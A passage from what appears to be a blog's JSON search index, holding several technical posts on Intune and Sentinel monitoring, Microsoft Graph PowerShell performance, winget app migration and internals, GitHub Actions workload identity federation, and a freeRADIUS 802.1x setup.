protection, attack surface reduction rules, firewall and many more.\nWithin this post I want to show you an approach to monitor changes to Intune Endpoint security settings with Microsoft Sentinel and watchlists that can be easily customised based on your environment and needs. My main idea is to classify the sensitive configurations in the environment and only creating incidents for those. Of course you could alert on every Intune configuration change but for most of the environments this would lead to many alerts without providing value.\nPrerequisites # Changes to the Intune Endpoint security settings area are visible like other changes within the Intune Audit Logs.\nTo have the audit events within our Sentinel workspace we need to enable the forwarding for at least AuditLogs. This can be done within the Intune Tenant Administration \u0026gt; Diagnostic Settings blade.\nAs we can configure multiple diagnostic settings it might even be a good idea only ingesting AuditLogs to Sentinel and storing the other logs in a dedicated Azure Log Analytics Workspace (to save some bucks).\nClassifying our settings with a Sentinel Watchlist # The next step is to classify our settings. Of course we could monitor all the settings but maybe we do not want to create alerts for every change, because based on the environment we have multiple administrators working and we do not want to bother our SOC when someone changes a wallpaper configuration.\nSo we want define a CSV that will serve as our Sentinel watchlist, containing the most important Intune Endpoint Security configurations in place. The most important part is the ConfigurationId property. This is the unique ID of the Intune Endpoint Security setting and will later serve as the searchkey for the watchlist, whereas the other columns mainly provide additional context.\nTo get the ConfigurationId you can simply copy the value from your browser’s address bar when browsing the Intune profile:\nIn our Sentinel workspace we then create the watchlist:\nAs a source type we provide the previously created CSV with the ConfigurationId as the SearchKey:\nUsing the watchlist # The idea is to compare the generated events in the IntuneAuditLogs table against our watchlist. When querying the data we can do an inner join (the lookup is basically the same as a join but optimised for this use-case) to get only the events that affect a configuration that we classified as sensitive enough to be within our watchlist.\nTo get all the modifications that do not affect items in our watchlist (e.g. to get non-critical audit events) you can simply switch the lookup keywoard with join kind = leftanti.\nQuery:\nCreating the analytics rule # With our query we can move on and create an analytic rule to alert on the modifications and providing the most important details within the alert. Besides the standard alert rule information I also use the Custom details to provide the necessary context about the affected configuration:\nEnd result # Within the generated incident we have access to the most important information right away and can then perform the investigation why the setting was modified:\nThanks to the watchlist this process can be further fine tuned. For example “authorised” actors, e.g. staff from the security team that are allowed to modify the settings could be considered and in that case the alert being suppressed.\nBy Nicola on March 12, 2023.\n","date":"12 March 2023","externalUrl":null,"permalink":"/you-must-not-touch-my-endpoint-security-settings/","section":"Posts","summary":"Intune Endpoint Security Configuration Settings have become the way to go for configuring security features on various platforms. What did start with Microsoft Defender for Endpoint settings for Windows clients has evolved to settings for macOS, Windows Servers and is treated like a first class citizen. So it is important to guard those sensitive configurations as they control (and can potentially disable) vital security features on endpoints such as defender tamper protection, attack surface reduction rules, firewall and many more.\nWithin this post I want to show you an approach to monitor changes to Intune Endpoint security settings with Microsoft Sentinel and watchlists that can be easily customised based on your environment and needs. My main idea is to classify the sensitive configurations in the environment and only creating incidents for those. Of course you could alert on every Intune configuration change but for most of the environments this would lead to many alerts without providing value.\nPrerequisites # Changes to the Intune Endpoint security settings area are visible like other changes within the Intune Audit Logs.\nTo have the audit events within our Sentinel workspace we need to enable the forwarding for at least AuditLogs. This can be done within the Intune Tenant Administration \u003e Diagnostic Settings blade.\n","title":"You must not touch my endpoint security settings!","type":"posts"},{"content":"We all have probably been there and developed a PowerShell script that took some fair amount of time until the execution completed, weren’t we? Of course one could argue and say that as long a script ‘works’ it is good enough but depending on the use case and environment a PowerShell script that runs 30 to 60 minutes exceeds the patience of most (IT) people and can also lead to increased costs. But what makes those kinds of scripts that awfully slow and can’t we just tweak them to run faster?\nThe following examples and script will be related to PowerShell and the Microsoft Graph API but the mentioned approaches can be adapted for any kind of RESTful API and scripting language. For all interactions with the Graph API I use the Microsoft Graph PowerShell SDK which is available as a PowerShell module from the PowerShell gallery.\nReasons why your script is slow # I would say I have already read and (tried to) understand hundreds of PowerShell scripts out there and I often notice the following flaws which lead to poor performance:\nSlow algorithms and wrong data structures # Slow algorithms are extricably linked to the understanding of data structures when it comes to PowerShell scripting. Here the top two cases I often observe:\nWhere-Object\nWhere-Object queries within a loop looking for a particular element in a collection can be very time consuming when we actually expect a single result or match.\nThis pattern can be avoided by creating a hash table and checking whether the hash table contains the key we’re looking for and then directly accessing the element.\nThe creation of the hash table can be easily delegated to the Group-Object cmdlet. The specified property will then become the key to the hash table.\nVoilà, you just improved the time complexity of that Where-Object snippet from O(n^2) (worst case with linear search for n elements with n possibilities) to O(n) (still iterating over n elements but the hash table lookup has O(1) complexity) by using a hash table. Don’t get scary by that O notation, it’s just an estimate for the runtime behaviour of algorithms and when the expression of O gets smaller, the code get’s faster.\nArray copy\nYou like to write$myArray += $someObject ? Of course you can do so but an array has a fixed size and when adding an element the whole array needs to be copied in each iteration and this is not optimal from a performance perspective.\nPowerShell inherits all the different collection types from C# and we can use them to have more performant collections like lists. Lists and half dynamic data structures were designed to handle additions and removals of elements and perform better than frequent array copy operations.¹\nPlease also make sure that you do not use the deprecated System.ArrayList type anymore. It has not only that annoying return type of boolean on each add but should also not be used anymore. The System.Collections.Generic namespace provides us a List implementation that we can and should use!²\nMore information: Everything you wanted to know about arrays — PowerShell | Microsoft Learn.\nBad architecture and script design # A bad design approach would be to first query all users of a tenant and then querying the manager for each user individually within a loop. Imaging an Azure Active Directory tenant with 1000 users, this approach would lead to 1 + 1000 API requests (assuming that we have a page size of 1000 and only need one request to fetch a list of all users).\nCompared to this naïve approach we could simply call the list users action and expand all the users with their respective manager: https://graph.microsoft.com/beta/users?$expand=manager. This leads to the same result but requires only one request.\nTo prevent bad architecture and design of scripts it’s essential to have profound knowledge of the API and even more important that the API documentation provides the information about the different endpoints.\nA common flaw of RESTful APIs is under- and/or over-fetching. Resulting in that we receive to much data (we might not need) or that we receive to less data and need to make multiple requests to actually retrieve the data we are interested in. Microsoft Graph API supports:\nExpanding entities to resolve linked entities automatically with the expand parameter (As described within the above example). Filtering to prevent over-fetching by using the filter request parameter Selecting the required properties by using the select request parameter to only get required properties When it comes to filter and select operations we want to have them as early as possible (this approach is sometimes referred to as filter left) within the process, ideally already when placing the API request.\nSo instead of:\nYou should prefer to do:\nOf course this only makes sense if we do not require to have the full list of users available. Because if we require all users it is probably faster to fetch initially all users and then processing them but you still could optimise your query by using the select parameter and only fetching the attributes you need. For certain operations Microsoft Graph also provides export operations to bigger amounts of data.³\nI/O # Aaaaaand if you made it that far — here’s where I actually want to set the focus of this post! Because after we have elected the right algorithms and data structures for our script and have the right design in place we have still one of the most time consuming parts in place: Input and output, also referred to as I/O.\nConsole output\nI/O can be output to the console or to a file:\nSo before you start printing out each item of a collection to the console consider whether you really need this information? Probably not. And in case you need it for debugging, use another PowerShell output stream such as the verbose or debug stream and you can then control the output with the Verbose and Debug parameters. Use PowerShell to Write Verbose Output — Scripting Blog (microsoft.com).\nAPI Requests\nEach Microsoft Graph API request is transmitted as an HTTP request to the API. This involves multiple components such as your machine (PowerShell, operating system, hardware), network and Microsoft to process your request and send you a response. Sounds obvious but the more requests you place the slooooooooower your scripts get. I count this also towards I/O.\nSo once you nailed all of the previously described points we can try to optimise or tune Microsoft Graph requests within the next chapter.\nApproaches to optimise Microsoft Graph requests # Assuming we have a script that requires a lot of requests to Microsoft Graph resources we can try to optimise the process to save some runtime.\nReference case # Before I started to play around with optimisations I needed a baseline to measure the success of my adjustments. In my dev tenant I have 1280 fake-users that I fetched at the beginning of my testing. For subsequent tests I will simply place a request to each users details and measure only this part, as there is no possibility to improve the above stated initial request.\nLet’s do batching # Microsoft Graph offers a feature called batching / batch requests. Multiple requests can be combined into a single request and the whole batch can be submitted to the APIs batch endpoint via POST. We then receive a response containing all the batch results. It is even possible to create batches with dependent actions but in my case I just used the simple example of individual requests for users.\nA maximum of 20 requests can be placed into a single batch. The response of the batch needs then to be reassembled again to have a full list of responses.\nThanks to batching we can reduce the number of requests from 1280 individual requests to 1280 / 20 = 64 requests. Before even taking measurements this approach sounds very promising as we can drastically reduce the amount of requests compared to the amount of the original requests.\nA little bit of a downside is, that with the added logic for the batching our code fragment becomes slightly bigger and is more difficult to understand. Especially the part where we create the chunks with the individual requests and merge the responses together.\nMore information: Combine multiple requests in one HTTP call using JSON batching — Microsoft Graph | Microsoft Learn\nLet’s do concurrency # With PowerShell 7 we have new parameter for the ForEach-Object cmdlet. We can supply the -Parallel switch to leverage concurrency⁵. So each script-block will run on a separate thread and by default 5 threads will be spawned.\nWriting concurrent code or scripts is actually easy but writing concurrent code or scripts that work is difficult! Concurrent operations run in no particular order (non-deterministic) and we are responsible to use types and collections that are thread safe. This means we cannot use a regular list and need to switch to thread safe collection⁴ like System.Concurrent.ConcurrentBag that can handle multiple threads modifying the collection.\nCompared to the regular approach PowerShell does not need to wait until a single request has completed and can now place them in parallel and store the results within our collection.\nNice is also that we only need small change by using the Parallel parameter and using the thread-safe collection. The downside is that this requires PowerShell 7 but with the Requires statement we can document this dependency in an understandable way.\nLet’s do batching and concurrency # By combining the previous approaches we can leverage both batching and concurrency features to submit and reassemble our batch requests to the API. But the work can be shared amongst multiple threads and should be hopefully processed faster.\nThe snippet has now a serial part where the individual batches are created and a parallel/concurrent part where the batches are submitted and reassembled. Compared to the baseline the snippet has become quite large and the intention of the code is probably not that self explanatory anymore. So another side effect of optimisation: It can make your code more difficult to read.\nComparison and results # I measured all the different code snippets with the built-in Measure-Command cmdlet to get the amount of elapsed time for each script-block. And I was actually very impressed by the results! As mentioned in the beginning I was doing my tests with a little bit over 1'200 individual requests.\nI was already familiar with the batching approach but combining this with PowerShell 7 concurrency is a real game changer. Bringing down the runtime from more than 3 minutes to just around 5 seconds is very promising. Imaging this at a scale like for 10'000 this is very promising.\nInteresting is also the performance gain compared between batching and concurrency although this could be further tweaked as I only used the default setup of 5 threads.\nMaybe an additional factor that comes into play when making a lot of requests is throttling. And because I was using the Microsoft Graph PowerShell SDK which has built-in support for throttling I actually do not know how many of the requests have been throttled but maybe this is also a good thing because you will face that in production as well. But for the comparison it could be that some of the requests were throttled and others not leading to a false result (although I could not find evidence for that during multiple runs).\nOf course the absolute results from my measurements will probably not translate to other machines or environments as these depends on a lot of factors such as: hardware, os, network, request types. But the calculated speedup should be reachable with similar setups.\nI hope you learned one or another thing about PowerShell and Microsoft Graph and that you can now write faster PowerShell scripts although this does not necessarily mean that these scripts will be written faster because optimisation requires time and measurements 🪩😉.\nResources and some footnotes # ¹There are also other options such as pipeline assignments to avoid working with lists: Everything you wanted to know about arrays — PowerShell | Microsoft Learn\n²Lists have also overhead but this is neglectable for bigger amounts of data. So do not compare an array copy for two elements with a list. :)\n³There exist special export APIs for reports and bulk exports of Intune and Azure AD data: Use Graph APIs to export Intune Reports | Microsoft Learn, Working with the authentication methods usage report API — Microsoft Graph beta | Microsoft Learn\n⁴Thread-Safe collections | Microsoft Learn\n⁵PowerShell ForEach-Object Parallel Feature — PowerShell Team (microsoft.com)\nThanks also to everyone for the positive notes on my recent tweet.\nBy Nicola on February 22, 2023.\n","date":"22 February 2023","externalUrl":null,"permalink":"/optimising-microsoft-graph-powershell-scripts/","section":"Posts","summary":"We all have probably been there and developed a PowerShell script that took some fair amount of time until the execution completed, weren’t we? Of course one could argue and say that as long a script ‘works’ it is good enough but depending on the use case and environment a PowerShell script that runs 30 to 60 minutes exceeds the patience of most (IT) people and can also lead to increased costs. But what makes those kinds of scripts that awfully slow and can’t we just tweak them to run faster?\nThe following examples and script will be related to PowerShell and the Microsoft Graph API but the mentioned approaches can be adapted for any kind of RESTful API and scripting language. For all interactions with the Graph API I use the Microsoft Graph PowerShell SDK which is available as a PowerShell module from the PowerShell gallery.\nReasons why your script is slow # I would say I have already read and (tried to) understand hundreds of PowerShell scripts out there and I often notice the following flaws which lead to poor performance:\nSlow algorithms and wrong data structures # Slow algorithms are extricably linked to the understanding of data structures when it comes to PowerShell scripting. Here the top two cases I often observe:\n","title":"Optimising Microsoft Graph PowerShell scripts","type":"posts"},{"content":"","date":"22 February 2023","externalUrl":null,"permalink":"/tags/powershell/","section":"Tags","summary":"","title":"Powershell","type":"tags"},{"content":"The Microsoft Store for Business will be discontinued mid 2023 and Intune recently introduced the new Windows Store experience backed by winget to distribute apps to your Intune managed endpoints.\nTo simplify the migration to the new Windows Store experience I created a PowerShell Script that migrates all currently assigned Windows Store for Business apps to the new Windows Store experience.\nKudos to Sander Rozemuller for providing detailed instructions about creating winget apps as PowerShell code samples.\nChallenges # While scripting and extracting the existing Windows Store for Business (WSfB) apps I encountered the following issues:\nNot all apps in WSfB have valid privacy and information URLs, therefore I added a check whether the URL starts with http(s). Some apps have characters present (äöüë….) that require UTF-8 encoding. So I explicitly set the HTTP content-type header to UTF8. Script prerequisites # To run the script you need to have the Microsoft Graph PowerShell SDK modules installed on your machine. You can install them with the following command:\nInstall-Module Microsoft.Graph.Authentication, Microsoft.Graph.Devices.CorporateManagement -Scope CurrentUser From a permissions perspective you need an Azure AD Application Administrator for the initial OAuth permission consent and for regular execution the Intune Administrator role.\nThe script # The script performs the following high-level steps:\nFetch all assigned Windows Store for Business apps Extract the app package identifier Filter out existing winget apps (only apps not yet present will be imported as winget apps) Search the Windows Store for package information Fetch package information (description, publisher, image) Creating the winget app After running the script you will see the app type displayed as: Microsoft Store app (new):\nNow it’s time to assign the apps to a test group to verify the deployment and once you’re confident you can complete the migration by changing the assignments.\nShould you decide during testing that you want to get rid off the newly imported apps and start over you can remove all winget apps with the following command:\nGet-MgDeviceAppMgtMobileApp -Filter \u0026#34;isOf(\u0026#39;microsoft.graph.winGetApp\u0026#39;)\u0026#34; -All | ForEach-Object { Remove-MgDeviceAppMgtMobileApp -MobileAppId $_.Id } Happy winget testing 🎁.\n","date":"30 January 2023","externalUrl":null,"permalink":"/migrating-to-the-new-windows-store-experience/","section":"Posts","summary":"The Microsoft Store for Business will be discontinued mid 2023 and Intune recently introduced the new Windows Store experience backed by winget to distribute apps to your Intune managed endpoints.\nTo simplify the migration to the new Windows Store experience I created a PowerShell Script that migrates all currently assigned Windows Store for Business apps to the new Windows Store experience.\nKudos to Sander Rozemuller for providing detailed instructions about creating winget apps as PowerShell code samples.\nChallenges # While scripting and extracting the existing Windows Store for Business (WSfB) apps I encountered the following issues:\nNot all apps in WSfB have valid privacy and information URLs, therefore I added a check whether the URL starts with http(s). Some apps have characters present (äöüë….) that require UTF-8 encoding. So I explicitly set the HTTP content-type header to UTF8. Script prerequisites # To run the script you need to have the Microsoft Graph PowerShell SDK modules installed on your machine. You can install them with the following command:\nInstall-Module Microsoft.Graph.Authentication, Microsoft.Graph.Devices.CorporateManagement -Scope CurrentUser From a permissions perspective you need an Azure AD Application Administrator for the initial OAuth permission consent and for regular execution the Intune Administrator role.\n","title":"Migrating to the new Windows Store experience","type":"posts"},{"content":"","date":"30 January 2023","externalUrl":null,"permalink":"/tags/winget/","section":"Tags","summary":"","title":"Winget","type":"tags"},{"content":"","date":"23 January 2023","externalUrl":null,"permalink":"/tags/azure-ad/","section":"Tags","summary":"","title":"Azure AD","type":"tags"},{"content":"Workload Identity Federation (let’s just call this WIF) allows app principals not residing within Azure to request short lived access tokens. This removes the need of storing client secrets or certificates within GitHub as Action secrets. One drawback ist that currently only the Azure modules support the usage of WIF.\nHow it works # WIF relies on trust. This trust is directly configured on the Azure AD app registration and scoped to an individual GitHub repository and optionally fine grained by limiting the usage to single git refs, specifically branches and tags. By trusting GitHub as external identity provider (IdP), a GitHub Action can request an identity token from the GitHub IdP and exchange this one against an access token within Azure AD.\nA GitHub IdP issued token (decoded) contains the following information:\n{ \u0026#34;jti\u0026#34;: \u0026#34;1a9fe224-c936-46f6-a38b-3300e76251b0\u0026#34;, \u0026#34;sub\u0026#34;: \u0026#34;repo:nicolonsky/musical-octo-telegram:ref:refs/heads/main\u0026#34;, \u0026#34;aud\u0026#34;: \u0026#34;api://AzureADTokenExchange\u0026#34;, \u0026#34;ref\u0026#34;: \u0026#34;refs/heads/main\u0026#34;, \u0026#34;sha\u0026#34;: \u0026#34;9f112c0b82547e35b10250d7f3165789bf97862f\u0026#34;, \u0026#34;repository\u0026#34;: \u0026#34;nicolonsky/musical-octo-telegram\u0026#34;, \u0026#34;repository_owner\u0026#34;: \u0026#34;nicolonsky\u0026#34;, \u0026#34;repository_owner_id\u0026#34;: \u0026#34;32899754\u0026#34;, \u0026#34;run_id\u0026#34;: \u0026#34;3986560796\u0026#34;, \u0026#34;run_number\u0026#34;: \u0026#34;2\u0026#34;, \u0026#34;run_attempt\u0026#34;: \u0026#34;2\u0026#34;, \u0026#34;repository_visibility\u0026#34;: \u0026#34;private\u0026#34;, \u0026#34;repository_id\u0026#34;: \u0026#34;592303002\u0026#34;, \u0026#34;actor_id\u0026#34;: \u0026#34;32899754\u0026#34;, \u0026#34;actor\u0026#34;: \u0026#34;nicolonsky\u0026#34;, \u0026#34;workflow\u0026#34;: \u0026#34;.github/workflows/wif.yaml\u0026#34;, \u0026#34;head_ref\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;base_ref\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;event_name\u0026#34;: \u0026#34;push\u0026#34;, \u0026#34;ref_type\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;workflow_ref\u0026#34;: \u0026#34;nicolonsky/musical-octo-telegram/.github/workflows/wif.yaml@refs/heads/main\u0026#34;, \u0026#34;workflow_sha\u0026#34;: \u0026#34;9f112c0b82547e35b10250d7f3165789bf97862f\u0026#34;, \u0026#34;job_workflow_ref\u0026#34;: \u0026#34;nicolonsky/musical-octo-telegram/.github/workflows/wif.yaml@refs/heads/main\u0026#34;, \u0026#34;job_workflow_sha\u0026#34;: \u0026#34;9f112c0b82547e35b10250d7f3165789bf97862f\u0026#34;, \u0026#34;iss\u0026#34;: \u0026#34;https://token.actions.githubusercontent.com\u0026#34;, \u0026#34;nbf\u0026#34;: 1674486850, \u0026#34;exp\u0026#34;: 1674487750, \u0026#34;iat\u0026#34;: 1674487450 } Did you recognize the matching sub attribute within the GitHub issued token and the Azure AD configuration? For a successful authentication the:\nToken issuer: iss Subject: sub Audience: aud must match (besides some standard OIDC claims like the validity epoch-time).\nBy sending the GitHub ID token via HTTP POST to the Azure AD token endpoint with some additional metadata we can exchange the GitHub ID token with an Azure AD access token:\nPOST: https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39; { scope: \u0026#39;https://graph.microsoft.com/.default\u0026#39;, client_id: {CLIENT_ID}, client_assertion_type: \u0026#39;urn:ietf:params:oauth:client-assertion-type:jwt-bearer\u0026#39;, grant_type: \u0026#39;client_credentials\u0026#39;, client_assertion: {GITHUB_ID_TOKEN} } From an Open ID Connect perspective this is just another specialization of the client_credentials flow.\nAs a response we receive the requested Azure AD access token, in this case I requested the token for the Microsoft Graph API:\n{ \u0026#34;aud\u0026#34;: \u0026#34;https://graph.microsoft.com\u0026#34;, \u0026#34;iss\u0026#34;: \u0026#34;https://sts.windows.net/30204efd-acb7-41a7-9fe9-233cec0556c1/\u0026#34;, \u0026#34;iat\u0026#34;: 1674487150, \u0026#34;nbf\u0026#34;: 1674487150, \u0026#34;exp\u0026#34;: 1674491050, \u0026#34;aio\u0026#34;: \u0026#34;E2ZgYPhp8niXNfv9G2K3W2LUy15nAAA=\u0026#34;, \u0026#34;app_displayname\u0026#34;: \u0026#34;GitHub Workflow Identity Federation Example\u0026#34;, \u0026#34;appid\u0026#34;: \u0026#34;504fd139-6825-4e25-ad7a-627f100ab466\u0026#34;, \u0026#34;appidacr\u0026#34;: \u0026#34;2\u0026#34;, \u0026#34;idp\u0026#34;: \u0026#34;https://sts.windows.net/30204efd-acb7-41a7-9fe9-233cec0556c1/\u0026#34;, \u0026#34;idtyp\u0026#34;: \u0026#34;app\u0026#34;, \u0026#34;oid\u0026#34;: \u0026#34;a7538a92-ba98-4678-9374-f4a79b85c28f\u0026#34;, \u0026#34;rh\u0026#34;: \u0026#34;0.AU8A_U4gMLesp0Gf6SM87AVWwQMAAAAAAAAAwAAAAAAAAABPAAA.\u0026#34;, \u0026#34;roles\u0026#34;: [ \u0026#34;Organization.Read.All\u0026#34; ], \u0026#34;sub\u0026#34;: \u0026#34;a7538a92-ba98-4678-9374-f4a79b85c28f\u0026#34;, \u0026#34;tenant_region_scope\u0026#34;: \u0026#34;EU\u0026#34;, \u0026#34;tid\u0026#34;: \u0026#34;30204efd-acb7-41a7-9fe9-233cec0556c1\u0026#34;, \u0026#34;uti\u0026#34;: \u0026#34;X2K54jgbIUKog5IhWrZNAA\u0026#34;, \u0026#34;ver\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;wids\u0026#34;: [ \u0026#34;0997a1d0-0d1d-4acb-b408-d5ca73121e90\u0026#34; ], \u0026#34;xms_tcdt\u0026#34;: 1645079402, \u0026#34;xms_tdbr\u0026#34;: \u0026#34;EU\u0026#34; } Wiring up my first GitHub Action step # Because the azure/login@v1 GitHub Action is mainly related to Azure I wanted to author my own GitHub Action step that is customisable and can be reused across multiple pipelines and works with Microsoft Graph.\nYou can find the Action directly in the GitHub Marketplace:\nAzure AD Workload Identity Federation · Actions · GitHub Marketplace\nWriting the Action was quite fun but also simple, because GitHub provides a nice toolkit to write custom Actions in JavaScript: actions/toolkit: The GitHub ToolKit for developing GitHub Actions.\nHere a simple example about how to use the action with the Microsoft Graph PowerShell SDK:\non: [push] permissions: id-token: write contents: read jobs: hello_world_job: runs-on: ubuntu-latest name: WIF Example steps: - name: Azure AD Workload Identity Federation uses: nicolonsky/WIF@v0.0.2 with: tenant_id: \u0026#39;30204efd-acb7-41a7-9fe9-233cec0556c1\u0026#39; client_id: \u0026#39;504fd139-6825-4e25-ad7a-627f100ab466\u0026#39; - name: Do some Stuff run: | Install-Module -Name Microsoft.Graph.Authentication Connect-MgGraph -AccessToken $env:ACCESS_TOKEN Invoke-MgGraphRequest -Uri \u0026#39;/beta/organization\u0026#39; | Select-Object -ExpandProperty value shell: pwsh Pretty cool and another step towards pass-, ooh, I mean credential-less world! 😉\nAdditional information # Create a trust relationship between an app and an external identity provider — Microsoft Entra https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-client-creds-grant-flow#third-case-access-token-request-with-a-federated-credential Configuring OpenID Connect in cloud providers ","date":"23 January 2023","externalUrl":null,"permalink":"/github-actions-entra-workload-identity-federation/","section":"Posts","summary":"Workload Identity Federation (let’s just call this WIF) allows app principals not residing within Azure to request short lived access tokens. This removes the need of storing client secrets or certificates within GitHub as Action secrets. One drawback ist that currently only the Azure modules support the usage of WIF.\nHow it works # WIF relies on trust. This trust is directly configured on the Azure AD app registration and scoped to an individual GitHub repository and optionally fine grained by limiting the usage to single git refs, specifically branches and tags. By trusting GitHub as external identity provider (IdP), a GitHub Action can request an identity token from the GitHub IdP and exchange this one against an access token within Azure AD.\nA GitHub IdP issued token (decoded) contains the following information:\n{ \"jti\": \"1a9fe224-c936-46f6-a38b-3300e76251b0\", \"sub\": \"repo:nicolonsky/musical-octo-telegram:ref:refs/heads/main\", \"aud\": \"api://AzureADTokenExchange\", \"ref\": \"refs/heads/main\", \"sha\": \"9f112c0b82547e35b10250d7f3165789bf97862f\", \"repository\": \"nicolonsky/musical-octo-telegram\", \"repository_owner\": \"nicolonsky\", \"repository_owner_id\": \"32899754\", \"run_id\": \"3986560796\", \"run_number\": \"2\", \"run_attempt\": \"2\", \"repository_visibility\": \"private\", \"repository_id\": \"592303002\", \"actor_id\": \"32899754\", \"actor\": \"nicolonsky\", \"workflow\": \".github/workflows/wif.yaml\", \"head_ref\": \"\", \"base_ref\": \"\", \"event_name\": \"push\", \"ref_type\": \"branch\", \"workflow_ref\": \"nicolonsky/musical-octo-telegram/.github/workflows/wif.yaml@refs/heads/main\", \"workflow_sha\": \"9f112c0b82547e35b10250d7f3165789bf97862f\", \"job_workflow_ref\": \"nicolonsky/musical-octo-telegram/.github/workflows/wif.yaml@refs/heads/main\", \"job_workflow_sha\": \"9f112c0b82547e35b10250d7f3165789bf97862f\", \"iss\": \"https://token.actions.githubusercontent.com\", \"nbf\": 1674486850, \"exp\": 1674487750, \"iat\": 1674487450 } Did you recognize the matching sub attribute within the GitHub issued token and the Azure AD configuration? For a successful authentication the:\n","title":"GitHub Actions with Entra Workload Identity Federation","type":"posts"},{"content":"Windows Package Manager (winget) provides exciting features to install and upgrade apps on Windows devices. But how does winget actually work and how are new packages integrated? Within this post I want to elaborate on some questions I had when having a closer look into winget.\nHow does winget find sources? # By default, winget has the following sources configured:\nmsstore: Microsoft Store (public) winget: Winget Content Delivery Network (CDN) When searching for a particular package, e.g: winget search wireshark all configured sources are searched for a match.\nlesson learned: winget can install packages from the public Microsoft store and the winget CDN.\nHow are winget CDN packages provided? # Winget CDN packages reside within a public git repository hosted on GitHub. The repository contains an alphabetic folder structure by vendor and product name holding manifests in YAML format that describe the app details.\nThe manifests folder within the repo is grouped by the app vendor and app name and YAML contents of a manifest look like this:\nPackageIdentifier: Google.Chrome PackageVersion: 108.0.5359.125 MinimumOSVersion: 10.0.0.0 InstallerType: wix UpgradeBehavior: install Protocols: - ... FileExtensions: - ... ReleaseDate: 2022-12-13 Installers: - Architecture: x64 Scope: user InstallerUrl: https://dl.google.com/dl/chrome/install/googlechromestandaloneenterprise64.msi InstallerSha256: 91411A41F74B03DD135D466A1CB9DC1B9BC58FA6C0EE311EDE5717DAF86863BD ProductCode: \u0026#39;{6EA4A09D-E0E2-358F-B54C-79106D2D2C95}\u0026#39; - Architecture: x64 Scope: machine InstallerUrl: https://dl.google.com/dl/chrome/install/googlechromestandaloneenterprise64.msi InstallerSha256: 91411A41F74B03DD135D466A1CB9DC1B9BC58FA6C0EE311EDE5717DAF86863BD ProductCode: \u0026#39;{6EA4A09D-E0E2-358F-B54C-79106D2D2C95}\u0026#39; ManifestType: installer ManifestVersion: 1.2.0 Besides some basic metadata a manifest contains URLs to download the installer for different architectures and installation scopes with a SHA256 hash to verify the integrity.\nHow are new (versions of) manifests published? # New manifests or changes are submitted to the repositories main branch via GitHub pull request (PR). After approval of the pull request an Azure DevOps pipeline runs that publishes manifests to the winget CDN which seems based on Azure CDN and adheres to a standard winget repository.\nBesides some general validation, the pipeline definition also contains external SmartScreen checks against the referenced installers within the manifest to prevent malicious apps being added.\nOnce the pipeline has completed the package becomes discoverable for the winget client:\nThat’s how the package submission process looks like from a simplified perspective:\nWho adds the manifests? # My initial guess was that the app manifests are provided by the software vendors directly, aren’t they? A closer look into the commit history and breakdown of the #number of commits by commit Author e-mail address domain breaks down to the following results:\n… Unfortunately 75% of all commits use a users.noreply.github.com address that hides the real domain for further analysis 🙃. But based on my subjective feelings a lot of packages are submitted by volunteers.\nGrouping the commits only by the authors shows that a GitHub user with the username vedantmgoyal2009 authored more than 25% of all packages.\nSo that’s still a question mark for me who maintains those packages and what’s their motivation to do so… It could also be possible that some people wrote automations to submit new packages automatically once the sources appear.\nMy 🔑 take-aways # Winget supports multiple package sources you can add additional ones or even host your own Winget comes with winget CDN and Microsoft Store as default sources Anyone with a GitHub account can publish or update manifests Manifest submissions ore updates are reviewed via GitHub pull requests Most submissions come from individuals and not necessarily the organisations maintaining the software Additional resources # Use the winget tool to install and manage applications Hosting your own WinGet private repository — Info Support Blog ","date":"30 December 2022","externalUrl":null,"permalink":"/inside-windows-package-manager/","section":"Posts","summary":"Windows Package Manager (winget) provides exciting features to install and upgrade apps on Windows devices. But how does winget actually work and how are new packages integrated? Within this post I want to elaborate on some questions I had when having a closer look into winget.\nHow does winget find sources? # By default, winget has the following sources configured:\nmsstore: Microsoft Store (public) winget: Winget Content Delivery Network (CDN) When searching for a particular package, e.g: winget search wireshark all configured sources are searched for a match.\nlesson learned: winget can install packages from the public Microsoft store and the winget CDN.\nHow are winget CDN packages provided? # Winget CDN packages reside within a public git repository hosted on GitHub. The repository contains an alphabetic folder structure by vendor and product name holding manifests in YAML format that describe the app details.\nThe manifests folder within the repo is grouped by the app vendor and app name and YAML contents of a manifest look like this:\n","title":"Inside Windows package manager (winget)","type":"posts"},{"content":"","date":"25 September 2022","externalUrl":null,"permalink":"/tags/pki/","section":"Tags","summary":"","title":"PKI","type":"tags"},{"content":"A common pitfall in environments where Windows server is used for radius authentication is that Microsoft network policy server (NPS) does currently not support device based authentication for Azure AD joined devices. NPS always checks for the existence of a corresponding computer object in AD. For my home setup and lab I wanted to build a radius solution to enable 802.1x authentication on my Wi-Fi network.\nDisclaimer # This post describes my setup and does not cover prerequisites like certification authority, certificate revocation and client certificate deployment via SCEP. Furthermore you should be familiar with docker, network topics, dns and Intune.\nAvailable solutions # Well known commercial Network Access Control (NAC) solutions like CISCO ISE or Aruba Clearpass often ship with an integrated RADIUS server and the possibility to configure wheter LDAP lookups for computer accounts should happen. Important is, that the solution supports certificate revocation checks either via CRLs or OCSP to ensure network access is blocked when a client certificate is revoked.\nFor my home and lab setup I wanted to leverage a free or open source solution and decided to use freeRADIUS, probably the most popular open source radius server. freeRADIUS supports EAP-TLS for 802.1x authentication out of the box and is well documented. Additionally, I was looking for a solution that can be deployed to both locallly in my network (e.g. on a raspberry pi) and also to PaaS offerings like Azure.\nApproach # Because I very like the idea of docker being able to separate configurations from the actual runtime environment I decided that I want to approach the freeRADIUS deployment with docker which allows me to basically deploy the solution anywhere (raspberry pi, developer workstation, Azure container instance, remote linux server).\nI actually did the deployment of this solution twice, once with my on-premises CA based on ADCS with NDES server for my lab and another based on SCEPman cloud CA where I run the free community edition (see Azure Marketplace offer).\nThe complete architecture with SCEPman looks like this for my environment:\nThe required freeRADIUS server configuration is actually quite simple and only consists of the following high level tasks:\nGet a certificate (clients will validate the server certificate during EAP-TLS) Configure EAP(-TLS) freeRADIUS module Add my access points as radius clients Fortunately freeRADIUS is providing official docker images, therefore only custom configurations need to be copied into the image before starting a container and providing a port mapping to forward traffic from the docker host into the freeRADIUS container.\nResources # You can find all mentioned configuration files as a GitHub template to easily 